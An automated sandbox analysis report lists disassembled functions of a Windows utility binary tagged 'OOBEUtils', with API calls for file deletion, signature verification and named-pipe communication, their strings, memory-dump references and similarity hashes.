GetFileAttributesW.KERNEL32(00000000), ref: 00427386
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 00427420
DeleteFileW.KERNEL32(00000000), ref: 00427431
GetLastError.KERNEL32 ref: 00427456
GetLastError.KERNEL32 ref: 004274A6

Strings

Failed to delete file: '%s' LastError:%d, xrefs: 00427466, 004274B3
File '%s' is with read-only. Its attribute is: '%d'. UnSetting its read-only attr and retry deleting, xrefs: 004273AD, 004273EE
FileUtils, xrefs: 004273BC, 004273F8, 00427475, 004274B8
OOBEUtils, xrefs: 004273C1, 0042747A

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: File$ErrorLast$AttributesDeletePath$DirectoryExists
String ID: Failed to delete file: '%s' LastError:%d$File '%s' is with read-only. Its attribute is: '%d'. UnSetting its read-only attr and retry deleting$FileUtils$OOBEUtils
API String ID: 2466363971-4107796821
Opcode ID: 00b6d3bf9a951ad68e80268370d137a51b95931526897c450c14d293331eb804
Instruction ID: 1d99e2006965ff6694df6736826d9ecfdb84e75553d3c6a76360acde75f41734
Opcode Fuzzy Hash: 00b6d3bf9a951ad68e80268370d137a51b95931526897c450c14d293331eb804
Instruction Fuzzy Hash: 3341A530745221EBCA10DF19FD99A5A7B65FB85B01BA40477F80197290DB78BC90CBBD

Function 00427AB0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 182encryptionmemoryCOMMON

Download Yara Rule

APIs

WinVerifyTrust.WINTRUST(000000FF,?*@`J,?,E7354A82,?,?), ref: 00427B84
WTHelperProvDataFromStateData.WINTRUST(00000000), ref: 00427B95
WTHelperGetProvSignerFromChain.WINTRUST(00000000,00000000,00000000,00000000), ref: 00427BAA
WTHelperGetProvCertFromChain.WINTRUST(00000000,00000000), ref: 00427BCA
CertGetNameStringW.CRYPT32(?,00000004,00000000,00000000,00000000,00000000), ref: 00427C07
LocalAlloc.KERNEL32(00000000), ref: 00427C22
CertGetNameStringW.CRYPT32(?,00000004,00000000,00000000,00000000,?), ref: 00427C41
LocalFree.KERNEL32(00000000,00000000,-00000002), ref: 00427C6A
WinVerifyTrust.WINTRUST(000000FF,00AAC56B,00000034), ref: 00427D07

Strings

?*@`J, xrefs: 00427B00, 00427B0A
{|}, xrefs: 00427C85
4, xrefs: 00427B37

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CertFromHelperProv$ChainDataLocalNameStringTrustVerify$AllocFreeSignerState
String ID: 4$?*@`J${|}
API String ID: 318076659-843163469
Opcode ID: 2b2f03a0b2219b9638c237f0a50e4636c7e99644d9adfce77a164d3a7e6bd346
Instruction ID: 07a7e49040c28470832a96e5ee50d6d3bb65460ac79225f476d81bb8c7a89be8
Opcode Fuzzy Hash: 2b2f03a0b2219b9638c237f0a50e4636c7e99644d9adfce77a164d3a7e6bd346
Instruction Fuzzy Hash: 69717BB0E00218AFEB14DFA5DD89B9EBBB8FB04314F10416EE515AB281DBB95944CF58

Function 0041E190 Relevance: 19.8, APIs: 6, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?), ref: 0041E231
LeaveCriticalSection.KERNEL32(?), ref: 0041E288
LeaveCriticalSection.KERNEL32(?), ref: 0041E2DC
EnterCriticalSection.KERNEL32(0036EE80), ref: 0041E302
LeaveCriticalSection.KERNEL32(0036EE80), ref: 0041E37D
LeaveCriticalSection.KERNEL32(00000009), ref: 0041F2F9

Strings

\\.\pipe\, xrefs: 0041E421
Inside initCommBridge, creating pipe %s, xrefs: 0041E1C7, 0041E207
CommBridge, xrefs: 0041E1D6, 0041E20C, 0041E26A, 0041E2BA, 0041E3BE, 0041E3E3, 0041F2AB, 0041F2D7
Pipe name is empty., xrefs: 0041E3AF, 0041E3DE
Wrong pipe context passed %i., xrefs: 0041F29C, 0041F2D2
OOBEUtils, xrefs: 0041E1DB, 0041E26F, 0041E3C3, 0041F2B0
Pipe already initialized., xrefs: 0041E25B, 0041E2B5

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: CommBridge$Inside initCommBridge, creating pipe %s$OOBEUtils$Pipe already initialized.$Pipe name is empty.$Wrong pipe context passed %i.$\\.\pipe\
API String ID: 2978645861-1085201787
Opcode ID: 2741faf5fde62311bba358750df085c702bd52d97c66e27c1744663fa93f332a
Instruction ID: aaa71bcc0c1ad3f749e7ec319ae41c39833817b2d272478ea5ed4507fdbc246a
Opcode Fuzzy Hash: 2741faf5fde62311bba358750df085c702bd52d97c66e27c1744663fa93f332a
Instruction Fuzzy Hash: 5CA10134700300ABDB24DF66DC9AF9A77A8AB05701F14056FE905972D1DB78F990CBAE

Function 004274E0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 427fileCOMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?,E7354A82,?,00000000,?,?,?,00000000,0049994D,000000FF,?,00406D2F), ref: 0042751A

Part of subcall function 004270D0: PathRemoveFileSpecW.SHLWAPI(00000000,?,?,?,?,?,?,00000000,0049994D,000000FF), ref: 0042714C

Part of subcall function 00427260: PathFileExistsW.SHLWAPI(?,?,0040653E), ref: 0042726E
Part of subcall function 00427260: PathIsDirectoryW.SHLWAPI(?), ref: 00427283

CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000000,0049994D,000000FF), ref: 004275CB
GetLastError.KERNEL32(?,?,00000000,0049994D,000000FF), ref: 004275E9
GetLastError.KERNEL32(?,?,00000000,0049994D,000000FF), ref: 00427637
SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000,0049994D,000000FF), ref: 00427678

Strings

Source file does not exist in CopyFileFromSourceToDestination, xrefs: 0042752E, 00427568
Failed to copy file at the destination:'%s'. LastError: %d, xrefs: 004275F9, 00427644
FileUtils, xrefs: 0042753D, 0042756D, 00427608, 00427649
OOBEUtils, xrefs: 00427542, 0042760D

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: File$Path$ErrorExistsLast$AttributesCopyDirectoryRemoveSpec
String ID: Failed to copy file at the destination:'%s'. LastError: %d$FileUtils$OOBEUtils$Source file does not exist in CopyFileFromSourceToDestination
API String ID: 3678581443-2441349454
Opcode ID: 3b2b4e70207e77957e346cfaaefa40b7f30fec250b144c30194b88bdfa61c5ea
Instruction ID: 304be064ac5706b44c2d59a599f2d95f36f10b52853653852536ae88b2003d00
Opcode Fuzzy Hash: 3b2b4e70207e77957e346cfaaefa40b7f30fec250b144c30194b88bdfa61c5ea
Instruction Fuzzy Hash: DAE1F471F002249BCB14DF69ED85BAEB7B5FB45710F50422EE411A7390DB38AD41CBA9

Function 0041F360 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 146filesleepCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?), ref: 0041F38A
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?), ref: 0041F39F
Sleep.KERNEL32(0000000A,?,?,?,?,00000000,?,?,?), ref: 0041F3B6
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,00000000,?,?,?), ref: 0041F3CC
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?), ref: 0041F3D6

Strings

Write failed or else (No of bytes written > data). Aborting write on pipe %p , errno: %lu, xrefs: 0041F3F2, 0041F4BC
CommBridge, xrefs: 0041F401, 0041F44B, 0041F48B, 0041F4C1
Number of retries to write to pipe exhausted with last error = %lu. Aborting write on pipe %p, xrefs: 0041F43C, 0041F486
OOBEUtils, xrefs: 0041F406, 0041F450

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorFileLastWrite$Sleep
String ID: CommBridge$Number of retries to write to pipe exhausted with last error = %lu. Aborting write on pipe %p$OOBEUtils$Write failed or else (No of bytes written > data). Aborting write on pipe %p , errno: %lu
API String ID: 2338600601-2345992799
Opcode ID: b8e0a7f11eae0cb03ddd70be310acbc4cd459f475ee6759fc557cd37cf45340b
Instruction ID: bbdbd7131a9a05eaf625d8743bffc745cebe138b644272fe07d0d675cb0cef45
Opcode Fuzzy Hash: b8e0a7f11eae0cb03ddd70be310acbc4cd459f475ee6759fc557cd37cf45340b
Instruction Fuzzy Hash: 13411635B00208BBDB10DFA69C42BBF7B68EB55721F1001BBF815A32C0DA746D4087A8

Function 004163F0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000,?,00000000,00404D5E,?), ref: 00416418
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000001,00000000,00000000), ref: 004164B4
GetLastError.KERNEL32 ref: 004164CB
GetLastError.KERNEL32 ref: 0041651E

Strings

Error allocating memory while converting Native string to UTF8 string, xrefs: 0041643D, 00416479
StringUtils, xrefs: 0041644C, 0041647E, 004164E9, 0041652F
Failed to convert WideCharToMultiByte. ErrorCode::%d, xrefs: 004164DA, 0041652A
OOBEUtils, xrefs: 00416451, 004164EE

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID: Error allocating memory while converting Native string to UTF8 string$Failed to convert WideCharToMultiByte. ErrorCode::%d$OOBEUtils$StringUtils
API String ID: 203985260-2236274340
Opcode ID: e39f2a51ba932da9826a003946e3c0e9b08f0d17437669bc90833129a53970bc
Instruction ID: 716146f1c0389004c4db2de1f4adde63d4e0a6c81021537d3ce57664b142a41d
Opcode Fuzzy Hash: e39f2a51ba932da9826a003946e3c0e9b08f0d17437669bc90833129a53970bc
Instruction Fuzzy Hash: 28417B3578031477DA20AF1AAC47FEA7794EB42B21F2400BBFD09632D0D9696D4487AD

Function 00403C90 Relevance: 13.6, APIs: 2, Strings: 7, Instructions: 137sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00007530), ref: 00403D5D
Sleep.KERNEL32(000003E8), ref: 00403E1E

Strings

Failed to initiate communication, xrefs: 00403DCB
Successfully initiated communication, xrefs: 00403DAA
Initializing1 Connection Channel with Service with pipename: %s, xrefs: 00403CD0
Communication is open on the other pipe. Closing the static guid and re-opening for new clients..., xrefs: 00403DF4
Problem initializing Connection Channel. Quitting., xrefs: 00403D11
Failed to create the connection channel, xrefs: 00403D34
Success:Initializing Connection Channel with Service with pipename: %s, xrefs: 00403D73

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Sleep
String ID: Communication is open on the other pipe. Closing the static guid and re-opening for new clients...$Failed to create the connection channel$Failed to initiate communication$Initializing1 Connection Channel with Service with pipename: %s$Problem initializing Connection Channel. Quitting.$Success:Initializing Connection Channel with Service with pipename: %s$Successfully initiated communication
API String ID: 3472027048-2173017273
Opcode ID: 6df400194c0d2eafb8ad463674300954c48552a7f74c4dd405dff45e14274271
Instruction ID: 5187b662ea0dd10bef7ca44164715a625855074a8d72d76878ed54e6067e5788
Opcode Fuzzy Hash: 6df400194c0d2eafb8ad463674300954c48552a7f74c4dd405dff45e14274271
Instruction Fuzzy Hash: 9141F170600200EFCB10DF19DC89B5A7BA8AF49705F1440BAE909BB3D1CB78ED44CBA9

Function 00418B10 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 330COMMON

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00418B88
std::_Lockit::~_Lockit.LIBCPMT ref: 00418BAF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00418C74
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00418C8E
std::_Lockit::~_Lockit.LIBCPMT ref: 00418D23
std::_Facet_Register.LIBCPMT ref: 00418D30

Part of subcall function 0046877A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00468786

Strings

bad locale name, xrefs: 00418D54

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
